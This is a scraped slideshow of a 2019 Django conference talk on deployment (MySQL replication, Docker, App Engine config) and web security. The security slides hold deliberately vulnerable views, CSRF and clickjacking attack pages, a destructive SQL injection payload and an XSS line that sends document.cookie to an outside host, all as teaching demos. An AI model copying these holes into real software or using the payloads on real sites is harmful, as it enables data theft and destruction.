Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Djangoアプリのデプロイに関するプラクティス / Deploy django application

3,797 views

Published on

#djangoocongressjp 2019

Published in: Internet
  • Be the first to comment

Djangoアプリのデプロイに関するプラクティス / Deploy django application

  1. 1. 2019.05.18 

  2. 2. Masashi SHIBATA c-bata c_bata_
  3. 3. 1 2 3 4
  4. 4. Topic 1 Web server / Database wsgiref, uWSGI, Gunicorn KEYWORDS MySQL, Replication
  5. 5.
  6. 6. : https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html
  7. 7. : https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html Master
  8. 8. : https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html
  9. 9. : https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html I/O ( )
  10. 10. : https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html DB
  11. 11. Topic 2 keyword1 Ansible / Packer / Terraform KEYWORDS Docker / Kubernetes
  12. 12. $ docker pull mysql:8.0 $ docker images REPOSITORY TAG IMAGE ID … mysql 8.0 7bb2586065cd … $ docker run -d —name sandbox_mysql > -e MYSQL_DATABASE="snippets" > -e MYSQL_ALLOW_EMPTY_PASSWORD="yes" > mysql:8.0 $ docker ps
  13. 13. $ docker stop mysql_sandbox $ docker ps -a CONTAINER ID IMAGE COMMAND … STATUS NAMES 3ccb1576a066 mysql:8.0 "docker…" … Exited (137) sandbox_mysql $ docker rm mysql_sandbox
  14. 14. FROM python:3.7 MAINTAINER Masashi Shibata <contact@c-bata.link> RUN pip install --upgrade pip ADD . /usr/src RUN pip install -r /usr/src/requirements.txt WORKDIR /usr/src EXPOSE 80 CMD ["gunicorn", "-w", "4", "-b", ":80", "djangosnippets.wsgi:application"] $ docker build -t djangosnippets .
  15. 15. version: '2' services: django: build: context: . environment: - MYSQL_HOST=mysql - SECRET_KEY - MYSQL_PASSWORD links: - mysql ports: - "8000:80" mysql: image: mysql:8.0 environment: - MYSQL_USER=shibata - MYSQL_DATABASE=snippets - MYSQL_ALLOW_EMPTY_PASSWORD=yes - MYSQL_PASSWORD ports: - "3306:3306" volumes: - ./mysql:/etc/mysql/conf.d
  16. 16. $ docker-compose up -d $ docker-compose logs -f django $ docker-compose exec mysql /bin/bash $ docker-compose down
  17. 17. https://kubernetes.io
  18. 18. runtime: python37 entrypoint: bash -c "python3 manage.py migrate && gunicorn -b :$PORT myapp.wsgi:application” includes: - app-secret.yaml handlers: - url: /static static_dir: static/ - url: /.* script: auto env_variables: MYSQL_HOST: /cloudsql/project:asia-northeast1:foo USE_GCS_BACKEND: 'true'
  19. 19. Topic 4 SLI Logging KEYWORDS CSRF (Cross Site Request Forgery)
  20. 20. Topic 4 SQL Injection Clickjackling KEYWORDS CSRF (Cross Site Request Forgery) XSS (Cross Site Scripting)
  21. 21. https://speakerdeck.com/akiyoko/django-security-measures-for-business-djangocon-jp-2019
  22. 22. https://speakerdeck.com/akiyoko/django-security-measures-for-business-djangocon-jp-2019 CSRF 
 💦
  23. 23. from django.utils.decorators import method_decorator from django.views.decorators.csrf import csrf_exempt : @method_decorator(login_required, name='dispatch') @method_decorator(csrf_exempt, name='dispatch') class UnsecureView(View): def get(self, request): comments = Comment.objects.all() html = Template(_comment_list_template).render( Context({"comments": comments})) return HttpResponse(html) def post(self, request): comment = Comment(content=request.POST[‘content'], posted_by=request.user) comment.save()
  24. 24. <!— attack.html —> <html lang="ja"> <body onload="document.attackform.submit();"> <form name="attackform" action="http://127.0.0.1:8000/csrf/" method="post"> <input type="text" name="content" value="THIS IS A CSRF ATTACK!!!"> <button type="submit"> </button> </form> </body> </html>
  25. 25. <html lang="ja"> <head> <title>CSRF </title> <meta charset="UTF-8"> </head> <body> <p> </p> <iframe width="0" height="0" src="attack.html"></iframe> </body> </html>
  26. 26. from django.http import HttpResponse _form_html = """<form method="get"> <input type="text" name="q" placeholder="Search" value=""> <button type="submit">Go</button> </form> """ def xss_view(request): if 'q' in request.GET: return HttpResponse(f"Searched for: {request.GET['q']}") else: return HttpResponse(_form_html)
  27. 27. <script>alert("XSS ")</script> Safari Chrome Webkit XSS Auditor JavaScript
  28. 28. <script>alert("XSS ")</script> Firefox cookie <script> open('http://example.com/stole? cookie='+escape(document.cookie ));</script>
  29. 29. # https://github.com/orf/django/blob/abb636c1af7b2fd00a624985f60b7aff07374580/ django/utils/html.py#L33-L52 _html_escapes = { ord('&'): '&amp;', ord('<'): '&lt;', ord('>'): '&gt;', ord('"'): '&quot;', ord("'"): ''', } @keep_lazy(str, SafeText) def escape(text): return mark_safe(str(text).translate(_html_escapes))
  30. 30. # https://github.com/orf/django/blob/abb636c1af7b2fd00a624985f60b7aff07374580/ django/utils/html.py#L55-L77 _js_escapes = { ord(''): 'u005C', ord('''): 'u0027', ord('"'): 'u0022', ord('>'): 'u003E', ord('<'): 'u003C', ord('&'): 'u0026', ord('='): 'u003D', ord('-'): 'u002D', ord(';'): 'u003B', ord('`'): 'u0060', ord('u2028'): 'u2028', ord('u2029'): 'u2029' } _js_escapes.update((ord('%c' % z), 'u%04X' % z) for z in range(32))
  31. 31. from django.db import models class Snippet(models.Model): title = models.CharField(' ', max_length=128) class Meta: db_table = 'snippets' # snippets
  32. 32. def sql_injection(request): if 'snippet' not in request.GET: html = Template(_form_html).render(Context()) else: snippet_id = request.GET['snippet'] sql = "SELECT id, title FROM snippets WHERE id = '{}';".format(snippet_id) snippet = Snippet.objects.raw(sql) html = Template(_snippet_list_template).render(Context({'snippet': snippet})) return HttpResponse(html)
  33. 33. '; DELETE FROM snippets WHERE '1' = '1 sql (Pdb) sql "SELECT id, title FROM snippets WHERE id = ''; DELETE FROM snippets WHERE '1' = '1';" ※sqlite3 Python slqite3 execute https://docs.python.org/3/library/sqlite3.html#sqlite3.Cursor  sqlite3.Warning: You can only execute one statement at a time.
  34. 34. MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # 'django.middleware.clickjacking.XFrameOptionsMiddleware', ]
  35. 35. <html lang="ja"> <head> <title>ClickJacking </title> <meta charset="UTF-8"> <style> .target { position: absolute; opacity: 0; } .attack { position: absolute; width: 200px; height: 50px; z-index: -1; } </style> </head> <body> <button class="attack"> </button> <iframe class="target" src="http://localhost:8000/clickjacking/"></iframe> </body> </html>
  36. 36. THANK YOU

×